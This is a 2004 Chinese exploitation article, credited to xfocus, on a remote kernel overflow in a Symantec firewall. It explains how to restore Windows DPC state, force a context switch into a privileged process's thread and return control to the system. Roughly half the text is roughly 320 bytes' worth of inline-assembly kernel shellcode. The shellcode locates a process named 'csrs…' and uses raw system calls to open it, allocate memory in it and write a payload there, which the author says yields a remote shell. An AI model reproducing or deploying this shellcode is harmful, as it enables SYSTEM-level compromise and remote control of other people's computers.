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SYMANTEC防火墙内核溢出利用之非安全返回法二

2004-11-8 04:35 781 0

摘要: 作者: SoBeIt    来自:https://www.xfocus.net 没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了。主要就是...
关键词: nbsp dword ptr 线程 mov ebp 切换 push 调度 edi

作者: SoBeIt    来自:https://www.xfocus.net 没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了。主要就是那个BAT的下载文件的内容,可以参见相关文章。这篇文章是建立我之前写过的SYMANTEC防火墙内核溢出利用之安全返回法上的基础上的,若有未详细说明之处可参见前文。    正如FLASHSKY所说,非安全返回法二的关键在于恢复DPC,不象安全返回法,我们完全不必关心线程切换和DPC调度。不过FLASHSKY过分夸大了DPC被破坏的情况,尤其是环境切换,就算在安全返回法里,在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的,以下是KPCR结构中涉及到DPC调度的部分:    +7e0 uint32 DpcInterruptRequested    +7e4 void *ChainedInterruptList    +7e8 uint32 CachePad3[2]    +7f0 uint32 MaximumDpcQueueDepth    +7f4 uint32 MinimumDpcRate    +7f8 uint32 CachePad4[2]    +800 struct _LIST_ENTRY DpcListHead    +800 struct _LIST_ENTRY *Flink    +804 struct _LIST_ENTRY *Blink    +808 uint32 DpcQueueDepth    +80c uint32 DpcRoutineActive    +810 uint32 DpcCount    +814 uint32 DpcLastCount    +818 uint32 DpcRequestRate    +81c void *DpcStack    DPC的处理方法有两种,一种是把KDPC对象串上DpcListHead。在KiIdleLoop里,系统检测到当前DPC链表不为空,于是调用KiRetireDpcList,KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象,DPC调度发生的频率是相当高的,但大部分时间都是处理定时器KTIMER过期DPC,很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法,我们处于DPC调度中,DpcRoutineActive和DpcInterruptRequested都为TRUE,进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复,但就会降低溢出的成功率,因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏,蓝屏代码0x)。其实系统中有些蓝屏是系统有意调用以防止你做某些事,这些事情如果你处理得好是不会对系统产生影响的,比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换,但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能,就是我们对内核感兴趣的原因,能够控制整个操作系统真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的调用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令:call    nt!KiRetireDpcListcmp     dword ptr [ebx+0x128],0x0如果不改动这里的话环境切换后系统恢复到这里执行,下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空,但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了,切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为调用了SwapContext后的下一条指令:call    nt!SwapContextlea     ebp,[ebx+0x800]显然ebp已经恢复了,DPC调度可以继续进行了。    恢复DPC我们有两种选择,一是将当前DPC跳过,二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便,可以省下不少代码,也是我使用的方法,不过有一个小问题,就是无法再PING通,会产生网络已被中断的错觉,其实网络是通的,SHELL也拿得到。第二种方法虽然网络功能一切正常,不过远程的机器会出现一些异常,比如开始菜单无法再用,当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁,该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方,所以可以很安全取到。    下一步就是进行环境切换,要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d    byte     State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空间、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp,记住,从这里开始我们已经处于新线程的堆栈中了,如果你之前有什么重要的信息压在IDLE线程的堆栈里,赶快在切换ESP前出栈吧。还有一点很重要的是,由于我们是强行把一个处于等待状态的线程进行环境切换(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了,其机率快可以比上抽六合彩了),就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等待状态且内核栈未被换出的线程链表,而后者是处于等待状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生死循环。最后就是返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的),系统就会接管工作了(这里需要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调度执行了)。    我开始时SHELLCODE的结构是先完成其它功能,再环境切换,结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g,系统都一切正常,但如果直接g或者干脆前面就没断过那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题,结果被郁闷了N次,主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈,而后面又直接修改会正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个不变的值,不修改的话会返回到错误的地址),估计问题发生在这里,所以我把SHELLCODE前后结构改了,先环境切换再完成其它功能,这样不会再干预IDLE的内核栈,事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本,把所有可有可无的代码全去掉了,比如修改KPCR中某些不会用到的成员的代码全去掉了,甚至连线程状态都没改,还是保持在等待状态,反正系统正常环境切换也不会检测正在运行的线程是什么状态,呵呵。    下面是内核SHELLCODE代码,转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节:__declspec(naked)JustTest2() {        __asm    {        call go1go1:        pop eax        push eax        mov ebp, 0xffdff80c        mov ebx, dword ptr [ebp-0x2b0]        mov ebx, dword ptr [ebx+0x44]        xor eax, eax        push 0x73727363FindProcess:        mov edi, esp        lea esi, dword ptr [ebx+0x1fc]        push 0x4        pop ecx        repe cmpsb        jecxz go2        mov ebx, dword ptr [ebx+0xa0]        sub ebx, 0xa0        jmp FindProcessgo2:                pop edx        mov dword ptr [ebp], eax        mov esi, dword ptr [esp+0x33c]        mov byte ptr [esi+0x2d], al        lea esi, dword ptr [ebx+0x50]FindThread:        mov esi, dword ptr [esi]        test byte ptr [esi-0x86], 0x1        jnz go3        jmp FindThreadgo3:        mov edx, dword ptr [ebx+0x18]        sub esi, 0x1a4        mov ebx, 0xffdff000//        lea ecx, dword ptr [ebp-0xc]        mov ebp, dword ptr [ebx+0x124]        mov dword ptr [ebx+0x128], ebp        inc byte ptr [ebp+0x2d]        mov edi, dword ptr [ebp+0x28]        add dword ptr [edi+0x8], 0x2d//        mov ebp, dword ptr [edi-0x8]//        add ebp, 0x4//        mov edi, dword ptr [ecx]//        mov    dword ptr [edi], ebp//        mov dword ptr [ebp+4], edi//        mov dword ptr [ecx], ebp        mov dword ptr [ebx+0x124], esi        mov cl, byte ptr [esi+0x2c]        mov byte ptr [ebx+0x50], cl        mov ebp, dword ptr [esi+0x5c]        mov edi, dword ptr [esi+0x60]        mov dword ptr [edi], ebp        mov dword ptr [ebp+0x4], edi        pop edi        push dword ptr [esi+0x1c]        pop dword ptr [ebx+0x8]        mov esp, dword ptr [esi+0x28]        mov ecx, dword ptr [esi+0x20]        mov dword ptr [ebx+0x18], ecx        mov ebp, dword ptr [ebx+0x3c]        mov word ptr [ebp+0x3a], cx        shr ecx, 0x10        mov byte ptr [ebp+0x3c], cl        shr ecx, 0x8        mov byte ptr [ebp+0x3f], cl        mov ebp, dword ptr [ebx+0x40]        mov dword ptr [ebp+0x1c], edx        mov cr3, edx        push edi        mov ebp, esp        sub esp, 0x40        push ebx        push esi        push 0x10        pop ecx        lea edi, dword ptr [ebp-0x40]ZeroStack:        stosd        loop ZeroStack        mov byte ptr [ebp-0x38], 0x18        lea edi, dword ptr [esi+0x1e0]        push edi        lea edi, dword ptr [ebp-0x38]        push edi        lea edi, dword ptr [ebp-0x8]        push 0x1f0fff        push edi        mov al, 0x6a        lea edx, dword ptr [esp]        int 0x2e        add esp, 0x10        mov byte ptr [ebp-0x3], 0x2        push 0x40        push 0x1000        lea edi, dword ptr [ebp-0x4]        push edi        push eax        lea edi, dword ptr [ebp-0xc]        push edi        push dword ptr [ebp-0x8]        mov al, 0x10        lea edx, dword ptr [esp]        int 0x2e        add esp, 0x18        push 0x2        lea ebx, dword ptr [ebp-0x4]        push ebx        lea ebx, dword ptr [ebp-0xc]        push ebx        push dword ptr [ebp-0x8]        mov al, 0x59        lea edx, dword ptr [esp]        int 0x2e        add esp, 0x10        mov edi, dword ptr [ebp]        pop edx        mov edx, dword ptr [edx+0x128]        push dword ptr [edx+0x68]        pop dword ptr [edi+0x1a0]        push dword ptr [ebp-0xc]        pop dword ptr [edx+0x68]        add edi, 0x19a        push eax        push 0x120        push edi        push dword ptr [ebp-0xc]        push dword ptr [ebp-0x8]                mov al, 0xf0        lea edx, dword ptr [esp]        int 0x2e        mov ebx, dword ptr [esp+0x14]        add esp, 0x5c        pop ecx        mov dword ptr [ebx], ecx        popfd        ret    }}    //后的代码是用于第二种DPC恢复的。后记:    这段时间杂事太多,尤其是这几天连着打校内、校际各种比赛,昨天还打了一天,身心疲惫。今早一起来发现不幸被折腾感冒了,索性弃权了校内赛决赛,窝宿舍里完成了这篇文章。错漏之处当然不少,一些原来想说的技术要点到写文章时都忘了-_-恳请众高手指出问题所在,让我好继续改进
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